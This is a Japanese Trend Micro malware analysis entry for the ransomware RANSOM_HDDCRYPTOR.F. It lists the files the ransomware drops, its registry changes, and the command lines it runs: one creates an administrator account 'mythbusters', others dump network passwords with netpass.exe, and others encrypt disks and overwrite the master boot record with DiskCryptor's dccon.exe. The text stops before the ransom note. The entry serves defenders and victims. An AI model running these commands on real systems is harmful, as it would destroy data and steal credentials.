RANSOM_HDDCRYPTOR.F

■ ランサムウェアファイル復号ツール公開

ランサムウェアの脅威が世界的に深刻になっている状況を受けて、ランサムウェアによって暗号化されたファイルの復号ツールをトレンドマイクロは公開しました。この復号ツールの使用方法や復号可能なファイルの条件などの制限事項については以下のダウンロードページを参照してください。

法人向けダウンロードURL：http://esupport.trendmicro.com/solution/ja-JP/1114224.aspx

個人向けダウンロードURL：https://esupport.trendmicro.com/support/vb/solution/ja-jp/1114210.aspx

また、トレンドマイクロでは、ランサムウェアの被害に遭われている法人・個人を対象に無料相談窓口も開設していますので、お困りの方は一度ご相談ください。

トレンドマイクロは、このマルウェアをNoteworthy（要注意）に分類しました。

このランサムウェアは、ドライブ、フォルダおよびファイルといったネットワーク共有内のリソースを標的とするだけでなく、ドライブもロックします。マルウェアは、正規および不正ツールを組み合わせて、これを実行します。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

• %System Root%\Users\ABCD\dcapi.dll
• %System Root%\Users\ABCD\dccon.exe
• %System Root%\Users\ABCD\dcrypt.exe-Disk Cryptor
• %System Root%\Users\ABCD\dcrypt.sys
• %System Root%\Users\ABCD\log_file.txt - Log of malware activities
• %System Root%\Users\ABCD\Mount.exe
• %System Root%\Users\ABCD\netpass.exe-Network Password Recovery Software
• %System Root%\Users\ABCD\netuse.txt - used to store information about network users
• %System Root%\Users\ABCD\netpass.txt - used to store user passwords
• %System%\drivers\dcrypt.sys

(註：%System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.. %System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.)

マルウェアは、以下のプロセスを追加します。

• For Windows XP:
  • %System%\cmd.exe schtasks /create /tn DefragmentService /TR \"cmd.exe /c net use >> C:\Users\ABCD\netuse.txt\" /sc DAILY
  • %System%\cmd.exe schtasks /run /TN DefragmentService
  • %System%\cmd.exe schtasks /delete /TN DefragmentService /F
  • %System%\cmd.exe /c C:\Users\ABCD\netpass.exe /stab C:\Users\ABCD\netpass.txt
• For Non-XP Windows version:
  • %System%\cmd.exe /c net user /add mythbusters 123456
  • %System%\cmd.exe /c net localgroup administrators mythbusters /add
  • %System%\cmd.exe /c cmd /c net use >> C:\Users\ABCD\netuse.txt
  • %System%\cmd.exe /c C:\Users\ABCD\netpass.exe /stab C:\Users\ABCD\netpass.txt
• %System Root%\Users\ABCD\dcinst.exe -setup

(註：%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.. %System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.)

自動実行方法

マルウェアは、以下のサービスを追加し、実行します。

• DefragmentService

他のシステム変更

マルウェアは、以下のレジストリキーを追加します。

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Services\dcrypt\Instances\
dcrypt

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\
Services\DefragmentService

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Services\dcrypt

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Services\dcrypt\Instances

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Services\dcrypt\config

マルウェアは、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Services\dcrypt\Instances
DefaultInstance = "dcrypt"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Services\dcrypt\Instances\
dcrypt
Altitude = "87150"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\Class\{71A27CDD-812A-11D0-BEC7-08002BE2092F}
LowerFilters = "dcrypt"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\Class\{4D36E965-E325-11CE-BFC1-08002BE10318}
UpperFilters = "dcrypt"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Services\dcrypt\config
Flags = "1408"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Services\dcrypt\config
Hotkeys = "0"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Services\dcrypt\config
sysBuild = "846"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\
Services\DefragmentService
DisplayName = "DefragmentService"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\
Services\DefragmentService
ImagePath = "{malware path} {parameter}"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\
Services\DefragmentService
Start = "2" SERVICE_AUTO_START

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\
Services\DefragmentService
Type = "16"

その他

マルウェアが作成する以下のファイルは、Disk Cryptorです。

• %System Root%\Users\ABCD\dcrypt.exe

マルウェアが作成する以下のファイルは、マルウェアの活動の記録です。

• %System Root%\Users\ABCD\log_file.txt

マルウェアが作成する以下のファイルは、Network Password Recoveryソフトウェアです。

• %System Root%\Users\ABCD\netpass.exe

マルウェアが作成する以下のファイルは、ネットワークユーザに関する情報を保存するのに利用されます。

• %System Root%\Users\ABCD\netuse.txt

マルウェアが作成する以下のファイルは、ユーザのパスワードを保存するのに利用されます。

• %System Root%\Users\ABCD\netpass.txt

マルウェアは、以下のプロセスを追加します。（Windows XP）

• %System%\cmd.exe schtasks /create /tn DefragmentService /TR \"cmd.exe /c net use >> C:\Users\ABCD\netuse.txt\" /sc DAILY
• %System%\cmd.exe schtasks /run /TN DefragmentService
• %System%\cmd.exe schtasks /delete /TN DefragmentService /F
• %System%\cmd.exe /c C:\Users\ABCD\netpass.exe /stab C:\Users\ABCD\netpass.txt

マルウェアは、以下のプロセスを追加します。（Windows XP以外のバージョン）

• %System%\cmd.exe /c net user /add mythbusters 123456
• %System%\cmd.exe /c net localgroup administrators mythbusters /add
• %System%\cmd.exe /c cmd /c net use >> C:\Users\ABCD\netuse.txt
• %System%\cmd.exe /c C:\Users\ABCD\netpass.exe /stab C:\Users\ABCD\netpass.txt

マルウェアは、Disk Cryptorを正常にインストールするためにコンピュータを再起動します。

再起動後、マルウェアは以下を実行します。

• %System Root%\Users\ABCD\Mount.exe {parameter}
• %System Root%\Users\ABCD\dccon.exe -boot -setmbr hd0
• %System Root%\Users\ABCD\dccon.exe -encrypt pt{0-9}-p {parameter}

マルウェアは、ツール“%System Root%\Users\ABCD\dccon.exe”を利用し、ディスクドライブを暗号化します。そして、マスター ブート レコードを改変し、脅迫状を表示します。

暗号化後、マルウェアは、以下のコマンドを実行します。

• %System%\cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & sc delete DefragmentService & Del "{malware path}\{malware name}.exe" & taskkill /im Mount.exe & Del ""%System Root%\User\ABCD\Mount.exe"" & Del ""%System Root%\User\ABCD\netpass.txt"" & Del ""%System Root%\User\ABCD\netuse.txt"" & Del ""%System Root%\User\ABCD\netpass.exe"" & net user /del mythbusters & shutdown /f /r /t 0 x

マルウェアは、正常に実行されるのに少なくともいずれか１つのパラメータを必要とします。

(註：%System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。)

再度の再起動後、マルウェアは、ブート時に以下の脅迫状を表示します。